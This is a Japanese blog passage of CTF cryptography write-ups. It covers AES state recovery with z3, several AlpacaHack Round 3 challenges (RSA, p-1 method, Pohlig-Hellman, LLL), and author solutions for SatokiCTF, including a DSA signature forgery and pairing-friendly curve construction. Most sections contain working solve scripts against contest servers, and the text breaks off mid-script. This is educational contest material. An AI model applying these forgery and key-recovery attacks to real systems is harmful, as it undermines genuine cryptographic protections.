これにより bxor(key_8, key_0) と bxor(key_9, key_1) が求まります。さらに、AESENCのround keyは最後のAddRoundKeyでXORされるだけなので、key_4, key_5 も求まります。

以下のスクリプトは、固定の平文を6回連続で暗号化したときの、各暗号化直後の bxor(key_8, key_0), bxor(key_9, key_1), key_4, key_5 を求めるスクリプトです。

from ptrlib import *
import os
import base64

def bxor(a, b):
    return bytes(x^y for x,y in zip(a,b))

def aes_1round(a, b, c, d):
    return intel_aesenc(a + b, c + d)

# plaintext = os.urandom(32)
# plaintext = list(plaintext)
plaintext = [75, 135, 135, 189, 81, 46, 25, 4, 134, 146, 62, 168, 44, 52, 206, 99, 135, 9, 175, 103, 246, 253, 53, 101, 222, 218, 20, 244, 168, 37, 156, 133]

f = open("result.txt","w")

N = 6
for t in range(N):
    msg = base64.b64encode(bytes(plaintext))
    sock = Socket("nc xxx.xxx.xxx.xxx xxxxx")
    for _ in range(t):
        sock.sendline("1")
        sock.sendline(msg)
        sock.recvlineafter("Encrypted (Base64): ").decode()
    sock.sendline("1")
    sock.sendline(msg)
    base64.b64decode(sock.recvlineafter("Encrypted (Base64): ").decode())
    sock.sendline("1")
    sock.sendline(msg)
    res0 = base64.b64decode(sock.recvlineafter("Encrypted (Base64): ").decode())
    sock.close()

    state01 = []
    for k in range(16):
        diffs1 = [None]*256
        diffs2 = [None]*256
        a = os.urandom(16)
        c = os.urandom(16)
        for i in range(256):
            a0 = a[:k]+bytes([i])+a[k+1:]
            a1 = a[:k]+bytes([i^1])+a[k+1:]
            a2 = a[:k]+bytes([i^2])+a[k+1:]
            e = intel_aesenc(a0, c)
            e1 = intel_aesenc(a1, c)
            e2 = intel_aesenc(a2, c)
            diffs1[i] = bxor(e, e1)
            diffs2[i] = bxor(e, e2)

        plaintext1 = list(plaintext)
        plaintext1[k] ^= 1
        msg1 = base64.b64encode(bytes(plaintext1))
        plaintext2 = list(plaintext)
        plaintext2[k] ^= 2
        msg2 = base64.b64encode(bytes(plaintext2))

        sock = Socket("nc xxx.xxx.xxx.xxx xxxxx")
        for _ in range(t):
            sock.sendline("1")
            sock.sendline(msg)
            sock.recvlineafter("Encrypted (Base64): ").decode()
        sock.sendline("1")
        sock.sendline(msg1)
        base64.b64decode(sock.recvlineafter("Encrypted (Base64): ").decode())
        sock.sendline("1")
        sock.sendline(msg)
        res1 = base64.b64decode(sock.recvlineafter("Encrypted (Base64): ").decode())
        sock.close()

        sock = Socket("nc xxx.xxx.xxx.xxx xxxxx")
        for _ in range(t):
            sock.sendline("1")
            sock.sendline(msg)
            sock.recvlineafter("Encrypted (Base64): ").decode()
        sock.sendline("1")
        sock.sendline(msg2)
        base64.b64decode(sock.recvlineafter("Encrypted (Base64): ").decode())
        sock.sendline("1")
        sock.sendline(msg)
        res2 = base64.b64decode(sock.recvlineafter("Encrypted (Base64): ").decode())
        sock.close()

        res01 = bxor(res0, res1)
        res02 = bxor(res0, res2)

        for i in range(256):
            if diffs1[i] == res01[16:] and diffs2[i] == res02[16:]:
                state01.append(i)
                break

    state45 = list(bxor(intel_aesenc(state01, b"\x00"*16), bxor(res0[16:], plaintext[16:])))

    print(state01, file=f)
    print(state45, file=f)

以上で内部状態128bytesのうち32bytes分が求まりましたが、ここで考察に行き詰まってしまったので、ここまでで得られた結果をz3の制約に追加することで解けないかを試してみることにしました。固定の平文を6回連続で暗号化したときの各暗号文の結果と、各暗号化直後の内部状態32bytes分を求めた結果をz3の制約に追加したところ、なんと10分程度*3で初期の内部状態を復元することができました！

from ptrlib import *
from z3 import *
import base64

from aes import s_box, shift_rows, add_round_key, inv_shift_rows, inv_sub_bytes

def bxor(a, b):
    return [x^y for x,y in zip(a,b)]

def bytes2matrix(text):
    return [list(text[i:i+4]) for i in range(0, len(text), 4)]

def matrix2bytes(matrix):
    return sum(matrix, [])

def xtime(a):
    return If((a & 0x80)==0, (a << 1), (((a << 1) ^ 0x1B) & 0xFF))

def mix_single_column(a):
    t = a[0] ^ a[1] ^ a[2] ^ a[3]
    u = a[0]
    a[0] ^= t ^ xtime(a[0] ^ a[1])
    a[1] ^= t ^ xtime(a[1] ^ a[2])
    a[2] ^= t ^ xtime(a[2] ^ a[3])
    a[3] ^= t ^ xtime(a[3] ^ u)

def mix_columns(s):
    for i in range(4):
        mix_single_column(s[i])

def sub_bytes(s):
    for i in range(4):
        for j in range(4):
            s[i][j] = z3_SBOX(s[i][j])

def aes_1round(a, b, c, d):
    block = bytes2matrix(a+b)
    sub_bytes(block)
    shift_rows(block)
    mix_columns(block)
    add_round_key(block, bytes2matrix(c+d))
    return matrix2bytes(block)

solver = Solver()
z3_SBOX = Function('z3_SBOX', BitVecSort(8), BitVecSort(8))
for i in range(len(s_box)):
    solver.add(z3_SBOX(i) == s_box[i])

state = [[BitVec(f'k_{i}_{j}', 8) for j in range(8)] for i in range(16)]
state0 = state[:]
plaintext = [75, 135, 135, 189, 81, 46, 25, 4, 134, 146, 62, 168, 44, 52, 206, 99, 135, 9, 175, 103, 246, 253, 53, 101, 222, 218, 20, 244, 168, 37, 156, 133]

sock = Socket("nc xxx.xxx.xxx.xxx xxxxx")

msg = base64.b64encode(bytes(plaintext))
sock.sendline("1")
sock.sendline(msg)
res = sock.recvlineafter("Encrypted (Base64): ").decode()

N = 6
ciphertexts = []
for _ in range(N):
    sock.sendline("1")
    sock.sendline(msg)
    res = sock.recvlineafter("Encrypted (Base64): ").decode()
    ciphertexts.append(res)
ciphertexts = [list(base64.b64decode(s)) for s in ciphertexts]
sock.close()

state01 = []
state45 = []
with open("result.txt","r") as f:
    for _ in range(N):
        state01.append(eval(f.readline()))
        state45.append(eval(f.readline()))

for k in range(N):
    for i in range(8):
        solver.add(state[4][i]==state45[k][i])
        solver.add(state[5][i]==state45[k][i+8])
        solver.add(state[0][i]^state[8][i] == state01[k][i])
        solver.add(state[1][i]^state[9][i] == state01[k][i+8])

    state_next = [0]*16

    v0 = aes_1round(state[2], state[3], state[10], state[11])
    v1 = aes_1round(bxor(state[0],state[8]), bxor(state[1],state[9]), state[4], state[5])

    w0 = aes_1round(state[0],state[1],state[14],state[15])
    w1 = aes_1round(state[4],state[5],state[2],state[3])
    w2 = aes_1round(state[8],state[9],state[6],state[7])
    w3 = aes_1round(state[10],state[11],state[8],state[9])

    t0 = bxor(v0[:8], plaintext[:8])
    t1 = bxor(v0[8:], plaintext[8:16])
    t2 = bxor(v1[:8], plaintext[16:24])
    t3 = bxor(v1[8:], plaintext[24:])
    t = [t0,t1,t2,t3]
    
    for i in range(4):
        for j in range(8):
            solver.add(ciphertexts[k][i*8+j]==t[i][j])

    state_next[0] = bxor(state[14], t0)
    state_next[1] = bxor(state[15], t1)
    state_next[2] = w0[:8]
    state_next[3] = w0[8:]
    state_next[4] = bxor(state[2], state[12])
    state_next[5] = bxor(state[3], state[13])
    state_next[6] = w1[:8]
    state_next[7] = w1[8:]
    state_next[8] = bxor(state[6], t2)
    state_next[9] = bxor(state[7], t3)
    state_next[10] = w2[:8]
    state_next[11] = w2[8:]
    state_next[12] = w3[:8]
    state_next[13] = w3[8:]
    state_next[14] = bxor(state[0], state[12])
    state_next[15] = bxor(state[1], state[13])

    state = state_next

print('solving...')
print(solver.check())
m = solver.model()
print([[m[k].as_long() for k in state0[i]] for i in range(16)])

IERAE NIGHTで作問者の方に想定解を教えてもらったところ、base64の処理にバグがあり、それを使って差分攻撃ができるとのことでした (あとで復習します)。base64の部分はろくに読まずに数個の入力を試しただけで普通のbase64っぽいですねーみたいなことを言ってしまった気がするので、z3が効かなかったら戦犯になるところでした...

*1:実際はyafuという素因数分解ツールで素因数分解ができたようで、これが想定解だったらしいです。

*2:とCTF中は思っていましたが、落ち着いて考えると普通に逆算できますね...。

*3:入力する平文によっては30分経っても解が見つからないケースもありましたが、入力する平文を変えることでうまくいきました。

AlpacaHack Round 3 (Crypto) writeup

AlpacaHack初めてのCrypto回 (AlpacaHack Round 3 (Crypto)) に参加しました！

3問目までは順調でしたが、4問目で実装をバグらせてしまい、結果は3位でした。優勝したかった...

qrime

次のようなスクリプトとその出力が与えられます。

import os
from Crypto.Util.number import bytes_to_long, getRandomNBitInteger, isPrime

def nextPrime(n):
    while not isPrime(n := n + 1):
        continue
    return n

def gen():
    while True:
        q = getRandomNBitInteger(256)
        r = getRandomNBitInteger(256)
        p = q * nextPrime(r) + nextPrime(q) * r
        if isPrime(p) and isPrime(q):
            return p, q, r

flag = os.environ.get("FLAG", "fakeflag").encode()
m = bytes_to_long(flag)

p, q, r = gen()
n = p * q

phi = (p - 1) * (q - 1)
e = 0x10001
d = pow(e, -1, phi)
c = pow(m, e, n)

print(f"{n=}")
print(f"{e=}")
print(f"{c=}")
print(f"{r=}")

素数 の間に関係性があるという典型的なRSA暗号の問題です。今回は、p = q * nextPrime(r) + nextPrime(q) * rという関係式があり、 の値は与えられています。

が与えられているので、nextPrime(r)の値は計算できます ( とおきます)。また、 の次の素数 nextPrime(q)の値を と表すことにします。このとき、

なので、

が成り立ちます。未知数は と であり、 を固定すると に関する2次方程式になっています。

ここで、 はかなり小さいです。具体的には、 付近には平均すると の割合で素数が存在することが知られている (素数定理) ので、 は くらいの値になります。よって、 と順に、先ほどの に関する2次方程式を解いていけば、 の値が見つかります。

2次方程式を解くのはSageMathで殴ると楽です。

from Crypto.Util.number import *

def nextPrime(n):
    while not isPrime(n := n + 1):
        continue
    return n

R.<x> = PolynomialRing(ZZ)
r1 = nextPrime(r)
for i in range(1,10000):
    f = x*(x*r1+(x+i)*r)-n
    res = f.roots()
    if len(res)!=0:
        q = res[0][0]
        break

p = n//q
d = pow(int(e),int(-1),int((p-1)*(q-1)))
m = pow(int(c),int(d),int(n))
print(long_to_bytes(int(m)))

Rainbow Sweet Alchemist

次のようなスクリプトとその出力が与えられます。

import os
import random
from math import prod
from Crypto.Util.number import isPrime, bytes_to_long

r = random.Random(0)
def deterministicGetPrime():
  while True:
    if isPrime(p := r.getrandbits(64)):
      return p

# This is not likely to fail
assert deterministicGetPrime() == 2710959347947821323, "Your Python's random module is not compatible with this challenge."

def getPrime(bit):
  factors = [deterministicGetPrime() for _ in range(bit // 64)]
  while True:
    p = 2 * prod(factors) + 1
    if isPrime(p):
      return p
    factors.remove(random.choice(factors))
    factors.append(deterministicGetPrime())

flag = os.environ.get("FLAG", "fakeflag").encode()
m = bytes_to_long(flag)

p, q = getPrime(1024), getPrime(1024)
n = p * q
e = 0x10001
c = pow(m, e, n)

print(f"{n=}")
print(f"{e=}")
print(f"{c=}")

素数が特殊な方法で生成されているRSA暗号の問題です。

の素因数が全て小さいことがわかっている場合、p-1法とよばれる方法で を素因数分解することができます。具体的には、 を素数を小さい順にたくさん掛け合わせた値とし、 が の約数となるようにします。すると、フェルマーの小定理より、整数 () に対し となります。一方、 が の約数でなければ、 を適当に取ると となるので、

で が求まる、というものです。

この問題では、 の素因数は64bitなので、64bitの素数を全て掛け合わせることはできず、p-1法をそのまま適用はできませんが、 の素因数の候補がわかっているので同様の方法が使えます。実際、r = random.Random(0)の箇所で乱数のseedが0になっているので、deterministicGetPrimeで生成される素数の列は計算することができ、これが の素因数の候補です。この素因数の候補をいくつか掛け合わせたものを とすることで、p-1法と同様にして を求められます。

なお、 もdeterministicGetPrimeを使って生成されているので、 を大きくしすぎると も も の約数となってしまい、 となってしまいます。 のみが の約数となるよう、掛ける素因数の候補の個数を調節します。

from Crypto.Util.number import *
import random
from math import prod

r = random.Random(0)
def deterministicGetPrime():
  while True:
    if isPrime(p := r.getrandbits(64)):
      return p

fs = [deterministicGetPrime() for _ in range(300)] # 300の部分は、p-1の素因数を全て含むが、q-1の素因数を全ては含まないくらいに調節する
M = 2*prod(fs)

a = 2
while True:
  g = GCD(pow(a, M, n)-1, n)
  if g>1 and g<n:
    q = g
    break
  a += 1

p = n//q
d = pow(int(e),int(-1),int((p-1)*(q-1)))
m = pow(int(c),int(d),int(n))
print(long_to_bytes(int(m)))

有名アルゴリズムの中身の理解をいい感じに問えていてとても良い問題だと思いました。

A Dance of Add and Mul

次のようなスクリプトとその出力が与えられます。

import os
import random
from Crypto.Util.number import bytes_to_long

flag = os.environ.get("FLAG", "fakeflag").encode()
bit_length = len(flag) * 8

# BLS12-381 curve
p = 0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaab
K = GF(p)
E = EllipticCurve(K, (0, 4))

G1, G2 = E.gens()
o1, o2 = G1.order(), G2.order()

xs = [random.randrange(0, o1) for _ in range(bit_length + 1)]
m = bytes_to_long(flag)

cs = []
for c, (x1, x2) in zip(bin(m)[2:].zfill(bit_length), zip(xs[:-1], xs[1:])):
  if c == "1":
    x1, x2 = x2, x1
  cs.append(x1 * G1 + x2 * G2)

print([P.xy() for P in cs])

SECCON Beginners CTF 2024でも出題されたBLS12-381という曲線が使われています。 はランダムではなく決定的アルゴリズムで生成されているようで、 の値は次のようになっています。

sage: G1                                                                                                          
(547267894408768087084154039555760353521479753946258632875036726158932984746527535614714820052060149146314557270019 : 1835063209175869974242139117441761755355391001264886580587881843166918857183334906933623397100805888438647438806516 : 1)
sage: G2                                                                                                          
(3969264096345269692399260831745939410953236272103079138813879945504403168173217859890302962785334991213756532919067 : 3379460874886854849045122318333716330044841999681175165157995677955191656134039472761779256971819501741022142910487 : 1)
sage: factor(o1)                                                                                                  
3 * 11 * 10177 * 859267 * 52437899 * 52435875175126190479447740508185965837690552500527637822603658699938581184513
sage: factor(o2)                                                                                                  
3 * 11 * 10177 * 859267 * 52437899 * 52435875175126190479447740508185965837690552500527637822603658699938581184513

また、 の位数は次のようになっていることから、 の群構造は となっているようです。

sage: factor(E.order())                                                                                           
3 * 11^2 * 10177^2 * 859267^2 * 52437899^2 * 52435875175126190479447740508185965837690552500527637822603658699938581184513

位数が小さい素因数を持つことから、Pohlig-Hellman法が使えそうです。 と の識別しか問われていないので、 がわかれば十分です。

とし、 を満たす について、 を求めます。Pohlig-Hellman法の要領で , とすると、 の位数は で、 です。

なので の組を全探索すると時間がかかりそうですが、 に対し から への対応を事前計算してhashmapで持っておき、 を全探索して がある に一致するものを探せばよいです。

from Crypto.Util.number import *

p = 0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaab
K = GF(p)
E = EllipticCurve(K, (0, 4))

G1, G2 = E.gens()
r = 10177
o = 793479390729215512516507951283169066088130679960393952059283337873017453583023682367384822284289
H1 = (o//r)*G1
H2 = (o//r)*G2

H2s = dict()
H = E(0)
for i in range(r):
    H2s[str(H)] = i
    H += H2

flag = ""
xs = []
for P in cs:
    P = E(P)
    Q = P*(o//r)
    x = None
    Q1 = Q
    for i in range(r):
        if str(Q1) in H2s:
            j = H2s[str(Q1)]
            x = (i,j)
            break
        Q1 -= H1
    print(x)
    if flag == "":
        flag += "0"
    else:
        if flag[-1] == "0":
            if xs[-1][1] == x[0]:
                flag += "0"
            else:
                flag += "1"
        else:
            if xs[-1][0] == x[0]:
                flag += "0"
            else:
                flag += "1"
    xs.append(x)

flag = long_to_bytes(int(flag, 2))
print(flag)

first bloodでした。普通の楕円曲線暗号では位数が素数の楕円曲線を使うことが多そうですが、pairing-friendly curveは位数が小さい素因数を持つので注意が必要、という話があり (BLS12-381 For The Rest Of Us)、いつか作問のネタにしようと思っていたところだったので、小さい素因数に着目することはすぐ思いつけました。

この問題はペアリングを使って解くこともできたようで、そちらも思いつくべきだった感じでした。

Hat Trick

次のようなスクリプトが与えられます。

import json
import os
import random
import signal
import string
from Crypto.Util.number import getPrime, getRandomInteger

class RollingHash:
  def __init__(self, p=None, base=None) -> None:
    self.p = getPrime(64) if p is None else p
    self.base = (getRandomInteger(64) if base is None else base) % self.p
  def hash(self, s: str):
    res = 0
    for i, c in enumerate(s):
      res += ord(c) * (self.base ** i)
      res %= self.p
    return res

def check_str(s: str, max_len: int):
  assert len(s) <= max_len, "too long!"
  for i, c in enumerate(s):
    assert c in string.ascii_lowercase, f"found invalid char {c} at {i}"

signal.alarm(3 * 60)

flag = os.environ.get("FLAG", "fakeflag")
MAX_LEN = 54

rhs = [RollingHash() for _ in range(3)]
print("params:",json.dumps([{ "base": rh.base, "p": rh.p } for rh in rhs]))

for _ in range(3):
  target_hash = [random.randrange(0, rh.p) for rh in rhs]
  print('target:', target_hash)
  s = input("> ")
  check_str(s, MAX_LEN)

  actual_hash = [rh.hash(s) for rh in rhs]
  if target_hash != actual_hash:
    print("Oops! You missed the target hash. Better luck next time!")
    exit(1)

print("Congratulations! Here is your flag:", flag)

競プロerおなじみのローリングハッシュで、与えられたハッシュ値の文字列を構築する問題です。

ローリングハッシュの衝突を構築する問題はLLLアルゴリズムで解けることが知られており (yukicoder)、この問題も同様にLLLアルゴリズムで解くことができそうです。

baseを 、targetを と書くことにします。まず、3種類のmodでハッシュを取っていますが、中国剰余定理を用いて , を満たす を取ることで、1つのmod で考えることができます。

(文字列の長さの最大値) として、

を満たす を求めたいです。文字は全て英小文字でなければならないので、 である必要があります。, と置き換えると、

を満たす小さい () を求めることが目標です。

線形不定方程式の小さい整数解を求めたいときは、LLLアルゴリズムが有用です。LLLアルゴリズムは、入力の行列の行ベクトルが張る格子の基底であって、小さいベクトルからなるもの (簡約基底) を出力します。

今回は、次のような行列

に対してLLLアルゴリズムを適用します。すると、この行列の行ベクトルの線形結合で表される小さいベクトルとして

が得られることが期待できます。実際は、 列目が になることを期待して 列目全体に 倍の大きい重みをつけ、 列目が になる ( の係数が になる) ことを期待して 列目に 倍の重みを適当につけてみると、ある程度の確率で欲しいベクトルが得られました。

from Crypto.Util.number import *
from ptrlib import *

sock = Socket("nc xxx.xxx.xxx.xxx xxxxx")

params = eval(sock.recvlineafter("params: "))

ps = []
bs = []
for v in params:
    ps.append(v['p'])
    bs.append(v['base'])
p = prod(ps)
b = CRT_list(bs,ps)

L = 54
mid = 109
for _ in range(3):
    ts = eval(sock.recvlineafter("target: "))
    t = CRT_list(ts,ps)
    
    for i in range(L):
        t -= mid*pow(int(b),int(i),int(p))
        t%=p

    w1 = 2**10
    w2 = 2**200
    mat = [[0]*(L+2) for _ in range(L+2)]
    for i in range(L):
        mat[i][0] = pow(int(b),int(i),int(p))*w2
        mat[i][i+1] = 1
    mat[L][0] = -t*w2
    mat[L][L+1] = w1
    mat[L+1][0] = p*w2

    res = matrix(ZZ,mat).LLL()

    for l in res:
        if l[-1]<0:
            l = [-x for x in l]
        if l[0]==0 and l[-1]==w1 and all(abs(x)<13 for x in l[1:-1]):
            l = l[1:-1]
            ans = ""
            for x in l:
                ans += chr(int(mid+x))
            sock.sendlineafter("> ",ans)
            break

sock.interactive()

カスなので行列の のところを にしていて10分ほど溶かしました...

SatokiCTF 作問者writeup

2024/8/25〜26に開催されたSatokiCTFにおいて、人生で初めてのCTF作問をしました！

SatokiCTFは、Satokiさんの誕生日を記念して開催されたSatokiさん主催のCTFです。初作問の機会をいただきありがとうございました。

[crypto] enmusubi*1 (7 solve, warmup)

神社で115円のお賽銭をすると良いご縁に恵まれるみたいですよ。知らんけど。

nc xxx.xxx.xxx.xxx 5555

ヒント:
DSAっぽいアルゴリズムが実装されています。正しいDSAの署名検証アルゴリズムとどこが違うか見比べてみましょう。
sの値を決め打って(例えばs=1など)、verifyが通るrの値を構築してみてください。
素数p,qが115115...の形であることは解法に関係ありません。

与えられるスクリプトは次の通りです。

from Crypto.Util.number import isPrime, getRandomRange
from hashlib import sha256

FLAG = "flag{*****REDACTED*****}"

p = 1151151150115115115115115115115011511511511501151151151151151151151151151150110011511511501151151151151151151150115115115115011511511511511511511511511511501100115115115011511511511511511511501151151151150115115115115115115115115115115011001151151150115115115115115115115011511511511501151151151151151151151151151150110115115115011511511511511511511501151151151150115115115115115115115115115115011011511511501151151151151151151150115115115115011511511511511511511511511511501101151151150115115115115115115115011511511511501151151151151151151151151151150110011511511501151151151151151151150115115115115011511511511511511511511511511501101
q = 115115115011511511511511511511501151151151150115115115115115115115115115115011
assert isPrime(p)
assert isPrime(q)
assert p%q == 1

h = 115
g = pow(h, (p-1)//q, p)
assert g > 1
print('g =', g)

x = getRandomRange(1, q)
y = pow(g, x, p)
print('y =', y)

def verify(m, r, s):
    assert r%q != 0
    assert s%q != 0
    z = int(sha256(m).hexdigest(), 16)
    w = pow(s, -1, q)
    return (pow(g, z*w, p) * pow(y, r*w, p) - r) % p == 0
    
print('Give me the signature of "flag"')
r = int(input('r = '))
s = int(input('s = '))

if verify(b'flag', r, s):
    print('Congratulation! The flag is', FLAG)

DSAのように見えるアルゴリズムが実装されていますが、署名を生成する機能はなく、公開鍵のみが与えられる状況で、検証を通る署名を作成する必要があります。正しいDSAのアルゴリズムを調べて見比べながら、脆弱性を探していくことにします。DSAのアルゴリズムはWikipediaにも載っています。

まず、 を満たす固定の素数 が与えられています。そして、, としています。ここでは、 が大きい素数位数 の部分群を持つように を決めて、その生成元 を取る処理をしています。

次に、 を の範囲からランダムに選び、 としています。 が秘密鍵、 が公開鍵です。 から を求めるのは離散対数問題そのものであり、 の位数が大きい素数 であることから難しそうです。

verify 関数 (署名検証の処理) を見ていきます。まず、, をチェックしています。正しいDSAのアルゴリズムでは , をチェックするので怪しいです。具体的には、負の値や より大きい値を入力可能です。

署名検証の式は、 をメッセージのSHA256ハッシュ値、 として、

となっています。正しいDSAのアルゴリズムでは

であり、 を取っていない点が異なっています。

より大きい値を使って署名検証の式を成り立たせることを考えてみます。 は を取って使われるので大きくする意味はありません。しかし は、 の部分では実質的に を取って使われている ( なので の位数は であるため) 一方で、指数の外の は を取って使われているので、 より大きい値を試す価値がありそうです。

の部分が周期 であることに着目し、 と表してみます。見やすいように , とします。すると、

となります。指数の部分は を含んでいないので、単に を について解くことで、検証を通る の値が求まります！

from ptrlib import *
from hashlib import sha256

client = Socket("nc localhost 5555")

p = 1151151150115115115115115115115011511511511501151151151151151151151151151150110011511511501151151151151151151150115115115115011511511511511511511511511511501100115115115011511511511511511511501151151151150115115115115115115115115115115011001151151150115115115115115115115011511511511501151151151151151151151151151150110115115115011511511511511511511501151151151150115115115115115115115115115115011011511511501151151151151151151150115115115115011511511511511511511511511511501101151151150115115115115115115115011511511511501151151151151151151151151151150110011511511501151151151151151151150115115115115011511511511511511511511511511501101
q = 115115115011511511511511511511501151151151150115115115115115115115115115115011

g = int(client.recvlineafter('g = '))
y = int(client.recvlineafter('y = '))
z = int(sha256(b'flag').hexdigest(), 16)

r = (pow(g, z, p)*y-1)*pow(q, -1, p)%p * q + 1
s = 1

client.sendline(str(r))
client.sendline(str(s))
print(client.recvlineafter('The flag is '))
# b'flag{ii_go3n~~11_60en~~II_G03n~~11_g0En~~ii_6o3n~~:pien:}'

DSAの署名検証で のチェックを外してみたところいい感じに破れることに気づいたので出題してみました。

難易度warmupで出題したにもかかわらず、しばらく0 solveが続き、開始8時間半後にヒントを公開して、その1時間後にようやくfirst bloodが出ました。warmupにしては難しすぎたかもしれません...

2人の方がこの問題を解く様子をYouTubeで配信してくださっていて、楽しく見させていただきました。ありがとうございます。

[crypto] pairs (1 solve, medium)

楕円曲線のカップルを作りましょう。

nc xxx.xxx.xxx.xxx 4444

与えられるスクリプトは次の通りです。

import json
from Crypto.Util.number import getRandomNBitInteger

FLAG = b"flag{*****REDACTED*****}"

r_upper = bin(getRandomNBitInteger(100))[2:]
print("upper 100 bits of r:", r_upper)

q = int(input("q: "))
r = int(input("r: "))
assert 256 <= q.bit_length() <= 600 and is_prime(q)
assert r.bit_length() == 256 and is_prime(r)
assert bin(r)[2:].startswith(r_upper)
assert 1 < q%r < r-1

F1 = GF(q)
a1 = F1(input("a1: "))
b1 = F1(input("b1: "))
assert a1 != F1(0) and b1 != F1(0)
E1 = EllipticCurve(F1, [a1, b1])

x1 = F1(input("x1: "))
y1 = F1(input("y1: "))
G1 = E1(x1, y1)
assert r*G1 == E1(0)

F2.<i> = GF(q^2, 'i', modulus=x^2+1)
a20, a21 = map(int, input("a2: ").split(','))
b20, b21 = map(int, input("b2: ").split(','))
a2 = F2(a20+a21*i)
b2 = F2(b20+b21*i)
assert a2 != F2(0) and b2 != F2(0)
E2 = EllipticCurve(F2, [a2, b2])

x20, x21 = map(int, input("x2: ").split(','))
y20, y21 = map(int, input("y2: ").split(','))
x2 = F2(x20+x21*i)
y2 = F2(y20+y21*i)
G2 = E2(x2, y2)
assert r*G2 == E2(0)

def to_dict(P):
    if P.base_ring() == F1:
        return {'x': int(P[0]), 'y': int(P[1])}
    else:
        Px, Py = P[0].polynomial(), P[1].polynomial()
        return {'x': [int(Px[0]), int(Px[1])], 'y': [int(Py[0]), int(Py[1])]}

# Solve SECCON Beginners CTF 2024 - bless !
challenges = []
for c in FLAG:
    s, t = randrange(r), randrange(r)
    challenges.append({
        'P': to_dict(s*G1),
        'Q': to_dict(t*G2),
        'R': to_dict(c*s*t*G2)
    })

print(json.dumps(challenges))

BLS12-381の代わりに、入力したパラメータでSECCON Beginners CTF 2024のblessと同じ問題を解くというものです。入力するパラメータは次の通りです。

• 素数
• 上の楕円曲線
• 上の位数 の点
• 上の楕円曲線
• 上の位数 の点

パラメータは次のような制約を満たす必要があります。

• は256bit、 は256bit以上600bit以下
• の上位100bitが、サーバーから指定されたものに一致すること
• 
• 

位数が十分大きい素数になっており、 の条件により、anomalousやsupersingularな楕円曲線を入力することもできない*2ので、離散対数問題を直接解くことは難しそうです。元の問題「bless」と同様、ペアリングを使って解くことを考えます。

「良い」ペアリングはどのような楕円曲線に対しても構築できるわけではなく、良いペアリングを構築可能な楕円曲線は「pairing-friendly curve」とよばれています。pairing-friendly curveはどのような条件を満たす必要があるでしょうか。

を と互いに素な2以上の整数、 を 標数 の体 上の楕円曲線とします。 を ( の代数閉体 における) 1の 乗根のなす群とし、 を において を満たす のなす群とします。このとき、Weil pairingとよばれるペアリング が定義できます。Weil pairingは次の性質を満たします。

• 双線形である。つまり および が成り立つ
• 交代形式である。つまり

残念ながら、Weil pairingをそのまま暗号に使うことはできません。なぜなら、 において位数が大きい素数 であるような点 をとると、基本的には を満たす が存在するので、 となってしまうためです。

そこで、Weil pairingが非自明になるような の拡大体上で考えることにします。 の における埋め込み次数とは、 を満たす最小の正整数 のことをいいます。 を埋め込み次数とすると、 のとき、 であることが示せます。よって、位数 の点がなす群で考えても、 上ではWeil pairingが非自明になります。つまり、小さい に対して が成り立てば、暗号に使えるペアリングが構築できます。

ここで、今回は、 上の楕円曲線 と 上の楕円曲線 でペアリングを組む必要があります。しかし としてしまうと、 なので問題の条件に反します。そこで、楕円曲線のツイストを考えます。 次ツイストとは、 次の拡大体上で考えると同型になる楕円曲線のことです。2次ツイストは常に存在し、 上の楕円曲線 の2次ツイストは、 を満たす を用いて

と構築できます。 と は 上では同型ではありませんが、 上では同型になります。

2次ツイストを用いると、 でペアリングを構築できます。具体的には、 を 上の楕円曲線と考えて、その2次ツイストを とします。 と は 上では同型なので、同じ 上の楕円曲線 に埋め込むことができ、 上でWeil pairingを考えるとこれは非自明なペアリングになります。

なお、 のときは6次ツイスト、 のときは4次ツイストも存在しますが、今回は , の条件があるので使えません*3。BLS12-381は埋め込み次数12で、6次ツイストを用いたペアリングが構築できます。

さて、ペアリングに関する考察はできましたが、そもそも楕円曲線が位数 の点を持つ必要があります。つまり、 の位数を とすると、 である必要があります。指定された位数の楕円曲線を構築する、といった問題を解く必要がありますが、これにはCM法 (complex multiplication method) とよばれる方法が適用できます。CM法を適用するには、 としたとき、小さい正整数 と、ある整数 が存在して、 が成り立っている必要があります。このとき、discriminant のHilbert class polynomial の における根をj不変量にもつ楕円曲線が、位数 の楕円曲線になります (CM法の仕組みは理解できていません...)。

あとは、次を満たすパラメータを見つけることが必要です。

• は を割り切る
• (今回は )
• 小さい正整数 と、ある整数 が存在して、

このようなパラメータを見つける方法は、pairing-friendly curveについて色々調べてみると見つかります。例えば、BLSの論文のAppendix Bに書かれているアルゴリズムを実装すればよいです。Pairings for beginnersという資料も役に立ちます。

from gmpy2 import isqrt
from Crypto.Util.number import *
from ptrlib import *
import json

client = Socket("nc xxx.xxx.xxx.xxx 4444")

r_upper = int(client.recvlineafter('upper 100 bits of r: '), 2)
l = int(isqrt(int(r_upper*2**(256-100))))+1

D = 19

while True:
    r = l**2+1
    if not isPrime(int(r)):
        l += 1
        continue
    t = l+1
    A = 4*r
    if A%D==0:
        l += 1
        continue
    B = (l-1)**2
    m0 = pow(int(A),int(-1),int(D))*B%D
    z0 = (A*m0-B)//D
    if kronecker(z0, r) != 1:
        l += 1
        continue
    R.<x> = PolynomialRing(GF(r))
    V = int((x^2-z0).roots()[0][0])
    if (V**2-z0)%4!=0:
        l += 1
        continue
    i0 = (V**2-z0)//A
    m = m0+i0*D
    n = m*r
    q = n+t-1
    if q%4==3 and isPrime(q):
        break
    l += 1

# print(q)
# print(r)

client.sendline(str(q))
client.sendline(str(r))

H = QuadraticField(-D).hilbert_class_polynomial()
F1 = GF(q)
R1.<x> = PolynomialRing(F1)
H = R1(H)
j = H.roots()[0][0]
k = j*(1728-j)^(-1)
a1 = 3*k
b1 = 2*k
E1 = EllipticCurve(F1, [a1, b1])
n1 = E1.order()
if n1 > q+1:
    s1 = 2
    while True:
        if kronecker(s1, q) == -1:
            break
        s1 += 1
    a1 = a1*s1^2
    b1 = b1*s1^3
    E1 = EllipticCurve(F1, [a1, b1])
    n1 = E1.order()
assert n1%r == 0

G1 = E1.random_point()
G1 = n1//r*G1

# print(a1)
# print(b1)
# print(G1)

client.sendline(str(a1))
client.sendline(str(b1))
client.sendline(str(G1[0]))
client.sendline(str(G1[1]))

F2.<i> = GF(q^2, "i", x^2 + 1)
R2.<y>=PolynomialRing(F2)
d0 = 1
while True:
    d = F2(d0)+i
